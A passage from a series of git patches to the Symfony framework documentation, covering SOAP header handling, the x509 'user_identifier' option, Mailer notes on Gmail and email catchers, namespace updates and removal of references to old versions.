+            foreach (headers_list() as $header) {
+                $header = explode(':', $header, 2);
+                $response->headers->set($header[0], $header[1]);
+            }
+            header_remove();
+
             return $response;
         }
     }
@@ -92,11 +98,13 @@ Take note of the calls to ``ob_start()`` and ``ob_get_clean()``. These
 methods control `output buffering`_ which allows you to "trap" the echoed
 output of ``$server->handle()``. This is necessary because Symfony expects
 your controller to return a ``Response`` object with the output as its "content".
-You must also remember to set the ``"Content-Type"`` header to ``"text/xml"``, as
-this is what the client will expect. So, you use ``ob_start()`` to start
-buffering the STDOUT and use ``ob_get_clean()`` to dump the echoed output
-into the content of the Response and clear the output buffer. Finally, you're
-ready to return the ``Response``.
+So, you use ``ob_start()`` to start buffering the STDOUT and use
+``ob_get_clean()`` to dump the echoed output into the content of the Response
+and clear the output buffer. Since ``$server->handle()`` can set headers it is
+also necessary to "trap" these. For this we use ``headers_list`` which provides
+the set headers, these are then parsed and added into the Response after which
+``header_remove`` is used to remove the headers and to avoid duplicates.
+Finally, you're ready to return the ``Response``.
 
 Below is an example of calling the service using a native `SoapClient`_ client. This example
 assumes that the ``index()`` method in the controller above is accessible via

From 405a74060b82e5b9293c8908ca2916bde7973965 Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent.morselli@spomky-labs.com>
Date: Sun, 18 Dec 2022 11:17:58 +0100
Subject: [PATCH 3985/7107] ``user_identifier`` parameter documentation

---
 reference/configuration/security.rst | 16 +++++++++++++++-
 security.rst                         |  8 ++++----
 2 files changed, 19 insertions(+), 5 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 4d0f1549ede..ba0eba9a5f2 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -666,6 +666,7 @@ X.509 Authentication
                         provider:    your_user_provider
                         user:        SSL_CLIENT_S_DN_Email
                         credentials: SSL_CLIENT_S_DN
+                        user_identifier: emailAddress
 
     .. code-block:: xml
 
@@ -687,6 +688,7 @@ X.509 Authentication
                     <x509 provider="your_user_provider"
                         user="SSL_CLIENT_S_DN_Email"
                         credentials="SSL_CLIENT_S_DN"
+                        user_identifier="emailAddress"
                     />
                 </firewall>
             </config>
@@ -703,6 +705,7 @@ X.509 Authentication
                 ->provider('your_user_provider')
                 ->user('SSL_CLIENT_S_DN_Email')
                 ->credentials('SSL_CLIENT_S_DN')
+                ->user_identifier('emailAddress')
             ;
         };
 
@@ -723,7 +726,18 @@ If the ``user`` parameter is not available, the name of the ``$_SERVER``
 parameter containing the full "distinguished name" of the certificate
 (exposed by e.g. Nginx).
 
-Symfony identifies the value following ``emailAddress=`` in this parameter.
+By default, Symfony identifies the value following ``emailAddress=`` in this parameter.
+This can be changed using the ``user_identifier`` parameter.
+
+user_identifier
+...........
+
+**type**: ``string`` **default**: ``emailAddress``
+
+The ``user_identifier`` parameter is used to find the user identifier in the
+"distinguished name" e.g. ``Subject: C=FR, O=My Organization, CN=user1, emailAddress=user1@myorg.fr``.
+
+By setting this parameter to ``CN``, the returned user identifier will be the "Common Name" ``user1``
 
 .. _reference-security-firewall-remote-user:
 
diff --git a/security.rst b/security.rst
index d8fb76b7db2..70219bd4246 100644
--- a/security.rst
+++ b/security.rst
@@ -1314,11 +1314,11 @@ ways:
 #. First, it tries the ``SSL_CLIENT_S_DN_Email`` server parameter, which is
    exposed by Apache;
 #. If it is not set (e.g. when using Nginx), it uses ``SSL_CLIENT_S_DN`` and
-   matches the value following ``emailAddress=``.
+   matches the value following ``emailAddress``.
 
-You can customize the name of both parameters under the ``x509`` key. See
-:ref:`the configuration reference <reference-security-firewall-x509>` for
-more details.
+You can customize the name of the three parameters under the ``x509`` key.
+See :ref:`the configuration reference <reference-security-firewall-x509>`
+for more details.
 
 Remote Users
 ~~~~~~~~~~~~

From 836a9739faef1f5d67e9ad23be4f68edb0767347 Mon Sep 17 00:00:00 2001
From: Pooyan Khanjankhani <p.khanjankhani@digikala.com>
Date: Fri, 16 Dec 2022 22:31:17 +0330
Subject: [PATCH 3986/7107] chore: Add missing semicolon

---
 components/dependency_injection.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index c1b5d454ba1..c2239a9225b 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -300,6 +300,7 @@ config files:
             $services = $container->services();
             $services->set('mailer', 'Mailer')
                 ->args(['%mailer.transport%'])
+            ;
 
             $services->set('mailer', 'Mailer')
                 // the param() method was introduced in Symfony 5.2.

From c7a77e3d366c06b2cfd6f070758d5c6d332cf2e3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Dec 2022 17:01:21 +0100
Subject: [PATCH 3987/7107] [Messenger] Update the namespace of
 `InMemoryTransport` class

---
 messenger.rst                  | 8 +++++++-
 messenger/custom-transport.rst | 2 +-
 2 files changed, 8 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index e197b14ae3d..c21c6d5f684 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1681,7 +1681,7 @@ during a request::
     namespace App\Tests\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
-    use Symfony\Component\Messenger\Transport\InMemoryTransport;
+    use Symfony\Component\Messenger\Transport\InMemory\InMemoryTransport;
 
     class DefaultControllerTest extends WebTestCase
     {
@@ -1698,6 +1698,12 @@ during a request::
         }
     }
 
+.. versionadded:: 6.3
+
+    The namespace of the ``InMemoryTransport`` class changed in Symfony 6.3 from
+    ``Symfony\Component\Messenger\Transport\InMemoryTransport`` to
+    ``Symfony\Component\Messenger\Transport\InMemory\InMemoryTransport``.
+
 The transport has a number of options:
 
 ``serialize`` (boolean, default: ``false``)
diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst
index e496fcf6263..95eed2ab42e 100644
--- a/messenger/custom-transport.rst
+++ b/messenger/custom-transport.rst
@@ -126,7 +126,7 @@ Here is a simplified example of a database transport::
 
 The implementation above is not runnable code but illustrates how a
 :class:`Symfony\\Component\\Messenger\\Transport\\TransportInterface` could
-be implemented. For real implementations see :class:`Symfony\\Component\\Messenger\\Transport\\InMemoryTransport`
+be implemented. For real implementations see :class:`Symfony\\Component\\Messenger\\Transport\\InMemory\\InMemoryTransport`
 and :class:`Symfony\\Component\\Messenger\\Bridge\\Doctrine\\Transport\\DoctrineReceiver`.
 
 Register your Factory

From 0cae5b8fad62db36ac25f9e2f48888b2fcc11496 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sun, 18 Dec 2022 19:03:09 +0100
Subject: [PATCH 3988/7107] Add a note about using Gmail vs an Email catcher

---
 mailer.rst | 25 +++++++++++++++++++++----
 1 file changed, 21 insertions(+), 4 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index a4a6daccc5d..c6696f8cf79 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -12,7 +12,6 @@ integration, CSS inlining, file attachments and a lot more. Get them installed w
 
     $ composer require symfony/mailer
 
-
 .. _mailer-transport-setup:
 
 Transport Setup
@@ -105,14 +104,13 @@ native        ``native://default``                      Mailer uses the sendmail
 Using a 3rd Party Transport
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Instead of using your own SMTP server or sendmail binary, you can send emails via a 3rd party
-provider. Mailer supports several - install whichever you want:
+Instead of using your own SMTP server or sendmail binary, you can send emails
+via a 3rd party provider:
 
 ==================  ==============================================
 Service             Install with
 ==================  ==============================================
 Amazon SES          ``composer require symfony/amazon-mailer``
-Gmail               ``composer require symfony/google-mailer``
 MailChimp           ``composer require symfony/mailchimp-mailer``
 Mailgun             ``composer require symfony/mailgun-mailer``
 Mailjet             ``composer require symfony/mailjet-mailer``
@@ -122,6 +120,14 @@ Sendinblue          ``composer require symfony/sendinblue-mailer``
 OhMySMTP            ``composer require symfony/oh-my-smtp-mailer``
 ==================  ==============================================
 
+.. note::
+
+    As a convenience, Symfony also provides support for Gmail (``composer
+    require symfony/google-mailer``), but this should not be used in
+    production. In development, you should probably use an :ref:`email catcher
+    <mail-catcher>` instead. Note that most supported providers also provide a
+    free tier.
+
 .. versionadded:: 5.2
 
     The Sendinblue integration was introduced in Symfony 5.2.
@@ -1404,6 +1410,17 @@ is sent::
 Development & Debugging
 -----------------------
 
+.. _mail-catcher:
+
+Enabling an Email Catcher
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When developing locally, it is recommended to use an email catcher. If you have
+enabled Docker support via Symfony recipes, an email catcher is automatically
+configured. In addition, if you are using the :doc:`Symfony local web server
+</setup/symfony_server>`, the mailer DSN is automatically exposed via the
+:ref:`symfony binary Docker integration <symfony-server-docker>`.
+
 Disabling Delivery
 ~~~~~~~~~~~~~~~~~~
 

From 9664bf2254242ed935c6a1a346d11e9e2d51f242 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 19 Dec 2022 11:59:35 +0100
Subject: [PATCH 3989/7107] Minor tweak

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index c6696f8cf79..93fc5b4d66f 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -105,7 +105,7 @@ Using a 3rd Party Transport
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Instead of using your own SMTP server or sendmail binary, you can send emails
-via a 3rd party provider:
+via a third-party provider:
 
 ==================  ==============================================
 Service             Install with
@@ -125,7 +125,7 @@ OhMySMTP            ``composer require symfony/oh-my-smtp-mailer``
     As a convenience, Symfony also provides support for Gmail (``composer
     require symfony/google-mailer``), but this should not be used in
     production. In development, you should probably use an :ref:`email catcher
-    <mail-catcher>` instead. Note that most supported providers also provide a
+    <mail-catcher>` instead. Note that most supported providers also offer a
     free tier.
 
 .. versionadded:: 5.2

From 29b6dbd525897b5dd27f680feeb3f39ebbea3720 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 18 Dec 2022 20:53:17 +0100
Subject: [PATCH 3990/7107] Tell composer action is need to regenerate autoload

---
 components/runtime.rst                   | 3 +++
 configuration/override_dir_structure.rst | 2 +-
 2 files changed, 4 insertions(+), 1 deletion(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index fac78dd82dd..7b187acaeee 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -329,6 +329,9 @@ You can also configure ``extra.runtime`` in ``composer.json``:
         }
     }
 
+Then, update your Composer files (running ``composer dump-autoload``, for instance),
+so that the ``vendor/autoload_runtime.php`` files gets regenerated with the new option.
+
 The following options are supported by the ``SymfonyRuntime``:
 
 ``env`` (default: ``APP_ENV`` environment variable, or ``"dev"``)
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 73f65c9171f..808fb6f923f 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -49,7 +49,7 @@ define the ``runtime.dotenv_path`` option in the ``composer.json`` file:
         }
     }
 
-Then, update your Composer files (running ``composer update``, for instance),
+Then, update your Composer files (running ``composer dump-autoload``, for instance),
 so that the ``vendor/autoload_runtime.php`` files gets regenerated with the new
 ``.env`` path.
 

From 229f9bd41aba0b8f99be4419deba68ae066c583e Mon Sep 17 00:00:00 2001
From: Evert Harmeling <evertharmeling@gmail.com>
Date: Wed, 21 Dec 2022 11:27:54 +0100
Subject: [PATCH 3991/7107] Replace service name with FQCN class reference

As there isn't any mention of `app.hello_controller` (no definition) and the previous chapter mentioned using the FQCN is what Symfony recommends (it eases refactoring, especially for `php` configuration) it makes much more sense to make use of the FQCN as the service identifier.

And lined up the `yaml`-config (as done in the rest of the documentation; routing chapter)
---
 controller/service.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/controller/service.rst b/controller/service.rst
index 724143e3046..f034f524f12 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -100,9 +100,9 @@ a service like: ``App\Controller\HelloController::index``:
 
         # config/routes.yaml
         hello:
-            path:     /hello
+            path:       /hello
             controller: App\Controller\HelloController::index
-            methods: GET
+            methods:    GET
 
     .. code-block:: xml
 
@@ -181,8 +181,8 @@ which is a common practice when following the `ADR pattern`_
 
         # config/routes.yaml
         hello:
-            path:     /hello/{name}
-            controller: app.hello_controller
+            path:       /hello/{name}
+            controller: App\Controller\HelloController
 
     .. code-block:: xml
 
@@ -194,16 +194,18 @@ which is a common practice when following the `ADR pattern`_
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
             <route id="hello" path="/hello/{name}">
-                <default key="_controller">app.hello_controller</default>
+                <default key="_controller">App\Controller\HelloController</default>
             </route>
 
         </routes>
 
     .. code-block:: php
 
+        use App\Controller\HelloController;
+
         // app/config/routing.php
         $collection->add('hello', new Route('/hello', [
-            '_controller' => 'app.hello_controller',
+            '_controller' => HelloController::class,
         ]));
 
 Alternatives to base Controller Methods

From 4e5b1d684436d7bc3cd55d81dd7c186d641070b3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Dec 2022 11:49:50 +0100
Subject: [PATCH 3992/7107] Fix merge conflicts

---
 mailer.rst | 11 +++--------
 1 file changed, 3 insertions(+), 8 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 0cb018a9a0f..45be91a7cc4 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -112,16 +112,12 @@ MailPace            ``composer require symfony/mailpace-mailer``
 Infobip             ``composer require symfony/infobip-mailer``
 ==================  ==============================================
 
-<<<<<<< HEAD
 .. versionadded:: 6.2
 
-    The ``MailPace`` integration was introduced in Symfony 6.2 (in previous
-    Symfony versions it was called ``OhMySMTP``).
+    The Infobip integration was introduced in Symfony 6.2 and the ``MailPace``
+    integration was renamed in Symfony 6.2 (in previous Symfony versions it was
+    called ``OhMySMTP``).
 
-.. versionadded:: 6.2
-
-    The Infobip integration was introduced in Symfony 6.2.
-=======
 .. note::
 
     As a convenience, Symfony also provides support for Gmail (``composer
@@ -129,7 +125,6 @@ Infobip             ``composer require symfony/infobip-mailer``
     production. In development, you should probably use an :ref:`email catcher
     <mail-catcher>` instead. Note that most supported providers also offer a
     free tier.
->>>>>>> 6.1
 
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
 a configuration example to your ``.env`` file. For example, suppose you want to

From 198418d68e6973a17b96f79002655688bf232606 Mon Sep 17 00:00:00 2001
From: Xavier Laviron <norival@users.noreply.github.com>
Date: Wed, 21 Dec 2022 15:48:00 +0100
Subject: [PATCH 3993/7107] fix: typo

---
 reference/configuration/security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index ac11a23650b..70784bf4853 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -912,7 +912,7 @@ Learn more about user checkers in :doc:`/security/user_checkers`.
 providers
 ---------
 
-This options defines how the application users are loaded (from a database,
+This option defines how the application users are loaded (from a database,
 an LDAP server, a configuration file, etc.) Read
 :doc:`/security/user_providers` to learn more about each of those
 providers.

From 7726f6bc6f420da7ded2998598cba07a974388fb Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Mon, 19 Dec 2022 21:13:03 -0500
Subject: [PATCH 3994/7107] Clarifying not about Encore outside of Symfony

---
 frontend/encore/installation.rst   | 17 ++++++++++++++++-
 frontend/encore/simple-example.rst |  7 ++++---
 2 files changed, 20 insertions(+), 4 deletions(-)

diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index bcd59f8395e..118e15e7b0e 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -139,6 +139,9 @@ is the main config file for both Webpack and Webpack Encore:
 
     module.exports = Encore.getWebpackConfig();
 
+Creating Other Supporting File
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
 Next, open the new ``assets/app.js`` file which contains some JavaScript code
 *and* imports some CSS:
 
@@ -185,7 +188,7 @@ a system that you'll learn about soon:
     // register any custom, 3rd party controllers here
     // app.register('some_controller_name', SomeImportedController);
 
-And finally, create an ``assets/controllers.json`` file, which also fits into
+Then create an ``assets/controllers.json`` file, which also fits into
 the Stimulus system:
 
 .. code-block:: json
@@ -195,6 +198,18 @@ the Stimulus system:
         "entrypoints": []
     }
 
+Finally, though it's optional, add the following ``scripts`` to your ``package.json``
+file so you can run the same commands in the rest of the documentation:
+
+.. code-block:: json
+
+    "scripts": {
+        "dev-server": "encore dev-server",
+        "dev": "encore dev",
+        "watch": "encore dev --watch",
+        "build": "encore production --progress"
+    }
+
 You'll customize and learn more about these files in :doc:`/frontend/encore/simple-example`.
 When you execute Encore, it will ask you to install a few more dependencies based
 on which features of Encore you have enabled.
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 9a8f89e9b06..c2fc50289a5 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -154,9 +154,10 @@ template: the paths in ``entrypoints.json`` will always be the final, correct pa
 And if you use :doc:`splitEntryChunks() </frontend/encore/split-chunks>` (where Webpack splits the output into even
 more files), all the necessary ``script`` and ``link`` tags will render automatically.
 
-If you're *not* using Symfony, you can ignore the ``entrypoints.json`` file and
-point to the final, built file directly. ``entrypoints.json`` is only required for
-some optional features.
+If you are not using Symfony you won't have the ``encore_entry_*`` functions available.
+Instead, you can point directly to the final built files or write code to parse
+``entrypoints.json`` manually. The entrypoints file is needed only if you're using
+certain optional features, like ``splitEntryChunks()``.
 
 .. versionadded:: 1.9.0
 

From 98a1dcab20c5324b09fc7f088d63a06195a4133b Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 18 Dec 2022 21:19:36 +0100
Subject: [PATCH 3995/7107] Remove reference to 2.x, 3.x, 4.x versions

---
 components/browser_kit.rst                           |  7 -------
 components/config/definition.rst                     |  2 +-
 .../event_dispatcher/container_aware_dispatcher.rst  | 10 ----------
 components/filesystem/lock_handler.rst               |  7 -------
 contributing/code/bc.rst                             |  5 -----
 profiler.rst                                         | 12 ++++--------
 service_container.rst                                |  7 ++-----
 7 files changed, 7 insertions(+), 43 deletions(-)
 delete mode 100644 components/event_dispatcher/container_aware_dispatcher.rst
 delete mode 100644 components/filesystem/lock_handler.rst

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index a2afe27c0bc..bfaad93d4f9 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -8,13 +8,6 @@ The BrowserKit Component
     The BrowserKit component simulates the behavior of a web browser, allowing
     you to make requests, click on links and submit forms programmatically.
 
-.. note::
-
-    In Symfony versions prior to 4.3, the BrowserKit component could only make
-    internal requests to your application. Starting from Symfony 4.3, this
-    component can also :ref:`make HTTP requests to any public site <component-browserkit-external-requests>`
-    when using it in combination with the :doc:`HttpClient component </http_client>`.
-
 Installation
 ------------
 
diff --git a/components/config/definition.rst b/components/config/definition.rst
index 8ad8ae1b0c9..29d0715e722 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -780,7 +780,7 @@ the following ways:
 - ``ifTrue()``
 - ``ifString()``
 - ``ifNull()``
-- ``ifEmpty()`` (since Symfony 3.2)
+- ``ifEmpty()``
 - ``ifArray()``
 - ``ifInArray()``
 - ``ifNotInArray()``
diff --git a/components/event_dispatcher/container_aware_dispatcher.rst b/components/event_dispatcher/container_aware_dispatcher.rst
deleted file mode 100644
index 659a94cee7a..00000000000
--- a/components/event_dispatcher/container_aware_dispatcher.rst
+++ /dev/null
@@ -1,10 +0,0 @@
-.. index::
-   single: EventDispatcher; Service container aware
-
-The Container Aware Event Dispatcher
-====================================
-
-.. caution::
-
-    The ``ContainerAwareEventDispatcher`` was removed in Symfony 4.0. Use
-    ``EventDispatcher`` with closure-proxy injection instead.
diff --git a/components/filesystem/lock_handler.rst b/components/filesystem/lock_handler.rst
deleted file mode 100644
index 5997fd3887b..00000000000
--- a/components/filesystem/lock_handler.rst
+++ /dev/null
@@ -1,7 +0,0 @@
-LockHandler
-===========
-
-.. caution::
-
-    The ``LockHandler`` utility was removed in Symfony 4.0. Use the new Symfony
-    :doc:`Lock component </components/lock>` instead.
diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index 3f1e6164087..4c5eb1d4ca2 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -12,11 +12,6 @@ that release branch (5.x in the previous example).
 We also provide deprecation message triggered in the code base to help you with
 the migration process across major releases.
 
-.. caution::
-
-    This promise was introduced with Symfony 2.3 and does not apply to previous
-    versions of Symfony.
-
 However, backward compatibility comes in many different flavors. In fact, almost
 every change that we make to the framework can potentially break an application.
 For example, if we add a new method to a class, this will break an application
diff --git a/profiler.rst b/profiler.rst
index 49e804f45b2..42e925b89c8 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -110,16 +110,12 @@ need to create a custom data collector. Instead, use the built-in utilities to
     Consider using a professional profiler such as `Blackfire`_ to measure and
     analyze the execution of your application in detail.
 
-Enabling the Profiler Conditionally
------------------------------------
+.. _enabling-the-profiler-conditionally:
 
-.. caution::
-
-    The possibility to use a matcher to enable the profiler conditionally was
-    removed in Symfony 4.0.
+Enabling the Profiler Programmatically
+--------------------------------------
 
-Symfony Profiler cannot be enabled/disabled conditionally using matchers, because
-that feature was removed in Symfony 4.0. However, you can use the ``enable()``
+Symfony Profiler can be enabled and disabled programmatically. You can use the ``enable()``
 and ``disable()`` methods of the :class:`Symfony\\Component\\HttpKernel\\Profiler\\Profiler`
 class in your controllers to manage the profiler programmatically::
 
diff --git a/service_container.rst b/service_container.rst
index d1ceb094333..f2be38267d6 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1074,11 +1074,8 @@ unique string as the key of each service config:
 Explicitly Configuring Services and Arguments
 ---------------------------------------------
 
-Prior to Symfony 3.3, all services and (typically) arguments were explicitly configured:
-it was not possible to :ref:`load services automatically <service-container-services-load-example>`
-and :ref:`autowiring <services-autowire>` was much less common.
-
-Both of these features are optional. And even if you use them, there may be some
+:ref:`Loading services automatically <service-container-services-load-example>`
+and :ref:`autowiring <services-autowire>` are optional. And even if you use them, there may be some
 cases where you want to manually wire a service. For example, suppose that you want
 to register *2* services for the ``SiteUpdateManager`` class - each with a different
 admin email. In this case, each needs to have a unique service id:

From 1a25297db857a8cb41a7cb30a7ac215b4c00f92d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?G=C3=A1bor=20Egyed?= <gabor.egyed@gmail.com>
Date: Fri, 23 Dec 2022 22:22:37 +0100
Subject: [PATCH 3996/7107] [Mailer] Add a note about how to use the Gmail
 provider

---
 mailer.rst | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 93fc5b4d66f..0cf1dc2a34c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -177,7 +177,7 @@ party provider:
 Provider             SMTP                                                 HTTP                                        API
 ==================== ==================================================== =========================================== ========================================
 Amazon SES           ses+smtp://USERNAME:PASSWORD@default                 ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
-Google Gmail         gmail+smtp://USERNAME:PASSWORD@default               n/a                                         n/a
+Google Gmail         gmail+smtp://USERNAME:APP-PASSWORD@default           n/a                                         n/a
 Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
 Mailgun              mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
 Mailjet              mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
@@ -214,6 +214,15 @@ OhMySMTP             ohmysmtp+smtp://API_TOKEN@default                    n/a
         The usage of ``default_socket_timeout`` as the default timeout was
         introduced in Symfony 5.1.
 
+.. note::
+
+    To use Google Gmail, you must have a Google Account with 2-Step-Verification (2FA)
+    enabled and you must use `App Password`_ to authenticate. Also note that Google
+    revokes your App Passwords when you change your Google Account password and then
+    you need to generate a new one.
+    Using other methods (like ``XOAUTH2`` or the ``Gmail API``) are not supported currently.
+    You should use Gmail for testing purposes only and use a real provider in production. 
+
 .. tip::
 
     If you want to override the default host for a provider (to debug an issue using
@@ -1564,3 +1573,4 @@ you can use the built in assertions::
 .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
 .. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
+.. _`App Password`: https://support.google.com/accounts/answer/185833

From 34745bf96c003ffb09aa8b376f1c239b8fc97f50 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 24 Dec 2022 13:24:19 +0100
Subject: [PATCH 3997/7107] [HttpKernel] Add option to render Surrogate
 fragment with absolute URIs

---
 http_cache/esi.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index 1e10313b982..e52bbfacf3c 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -267,7 +267,7 @@ possible.
     signed when using the fragment renderer and the ``render_esi`` Twig
     function.
 
-The ``render_esi`` helper supports two other useful options:
+The ``render_esi`` helper supports three other useful options:
 
 ``alt``
     Used as the ``alt`` attribute on the ESI tag, which allows you to specify an
@@ -278,4 +278,11 @@ The ``render_esi`` helper supports two other useful options:
     of ``continue`` indicating that, in the event of a failure, the gateway cache
     will remove the ESI tag silently.
 
+``absolute_uri``
+     If set to true, an absolute URI will be generated. **default**: ``false``
+
+.. versionadded:: 6.2
+
+    The ``absolute_uri`` option was introduced in Symfony 6.2.
+
 .. _`ESI`: http://www.w3.org/TR/esi-lang

From 608618e37ce1fa732bcd5b260dd7c6f7557d72e6 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 24 Dec 2022 16:46:34 +0100
Subject: [PATCH 3998/7107] Update confusing first class callable syntax

---
 components/validator.rst               | 2 +-
 controller.rst                         | 6 +++---
 form/data_transformers.rst             | 2 +-
 form/validation_groups.rst             | 2 +-
 http_client.rst                        | 2 +-
 logging/monolog_exclude_http_codes.rst | 2 +-
 messenger.rst                          | 6 +++---
 testing.rst                            | 2 +-
 8 files changed, 12 insertions(+), 12 deletions(-)

diff --git a/components/validator.rst b/components/validator.rst
index a88b13d0089..8698934c0a0 100644
--- a/components/validator.rst
+++ b/components/validator.rst
@@ -57,7 +57,7 @@ If you have lots of validation errors, you can filter them by error code::
 
     use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
 
-    $violations = $validator->validate(...);
+    $violations = $validator->validate(/* ... */);
     if (0 !== count($violations->findByCodes(UniqueEntity::NOT_UNIQUE_ERROR))) {
         // handle this specific error (display some message, send an email, etc.)
     }
diff --git a/controller.rst b/controller.rst
index 0fb8751cbf8..ee9bc0d410a 100644
--- a/controller.rst
+++ b/controller.rst
@@ -340,7 +340,7 @@ special type of exception::
             // throw new NotFoundHttpException('The product does not exist');
         }
 
-        return $this->render(...);
+        return $this->render(/* ... */);
     }
 
 The :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::createNotFoundException`
@@ -461,10 +461,10 @@ For example, imagine you're processing a :doc:`form </forms>` submission::
             );
             // $this->addFlash() is equivalent to $request->getSession()->getFlashBag()->add()
 
-            return $this->redirectToRoute(...);
+            return $this->redirectToRoute(/* ... */);
         }
 
-        return $this->render(...);
+        return $this->render(/* ... */);
     }
 
 After processing the request, the controller sets a flash message in the session
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index cf32ca134a0..ff3b25147fc 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -112,7 +112,7 @@ slightly::
     $builder->add(
         $builder
             ->create('tags', TextType::class)
-            ->addModelTransformer(...)
+            ->addModelTransformer(/* ... */)
     );
 
 Example #2: Transforming an Issue Number into an Issue Entity
diff --git a/form/validation_groups.rst b/form/validation_groups.rst
index a215ed02aba..609afac8689 100644
--- a/form/validation_groups.rst
+++ b/form/validation_groups.rst
@@ -13,7 +13,7 @@ this as an option when :ref:`creating forms in controllers <creating-forms-in-co
 
     $form = $this->createFormBuilder($user, [
         'validation_groups' => ['registration'],
-    ])->add(...);
+    ])->add(/* ... */);
 
 When :ref:`creating forms in classes <creating-forms-in-classes>`, add the
 following to the ``configureOptions()`` method::
diff --git a/http_client.rst b/http_client.rst
index 44498e9946a..30c19eba07d 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1257,7 +1257,7 @@ that network errors can happen when calling e.g. ``getStatusCode()`` too::
     // ...
     try {
         // both lines can potentially throw
-        $response = $client->request(...);
+        $response = $client->request(/* ... */);
         $headers = $response->getHeaders();
         // ...
     } catch (TransportExceptionInterface $e) {
diff --git a/logging/monolog_exclude_http_codes.rst b/logging/monolog_exclude_http_codes.rst
index a064370d0c5..d698752f06a 100644
--- a/logging/monolog_exclude_http_codes.rst
+++ b/logging/monolog_exclude_http_codes.rst
@@ -55,7 +55,7 @@ logging these HTTP codes based on the MonologBundle configuration:
             $mainHandler = $monolog->handler('main')
                 // ...
                 ->type('fingers_crossed')
-                ->handler(...)
+                ->handler('...')
             ;
 
             $mainHandler->excludedHttpCode()->code(403);
diff --git a/messenger.rst b/messenger.rst
index c6100b0fd62..a49de0d2276 100644
--- a/messenger.rst
